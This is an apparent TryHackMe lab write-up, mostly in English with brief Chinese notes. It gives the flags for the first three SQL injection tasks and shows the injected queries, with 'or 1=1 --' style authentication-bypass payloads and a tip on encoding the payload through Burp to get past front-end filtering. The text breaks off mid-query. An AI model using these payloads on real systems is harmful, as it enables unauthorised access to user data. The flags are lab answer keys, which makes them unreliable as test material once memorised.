Tryhackme-SQL Injection Lab

SQL Injection Lab

Task1 Introduction

Deploy the machine

Task2 Introduction to SQL Injection: Part 1

1.What is the flag for SQL Injection 1: Input Box Non-String?

THM{dccea429d73d4a6b4f117ac64724f460}

数字型 万能密码登陆

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=1 or 1=1 -- AND password = 'a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3'

2.What is the flag for SQL Injection 2: Input Box String?

THM{356e9de6016b9ac34e02df99a5f755ba}

字符型 万能密码登陆

SELECT uid,name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID = '1' or '1'='1' --' AND password = 'a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3'

3.What is the flag for SQL Injection 3: URL Injection?

THM{645eab5d34f81981f5705de54e8a9c36}

字符型 万能密码登陆,前端限制不允许输入特殊字符,burp截断后编码payload发送

SELECT uid, name, pro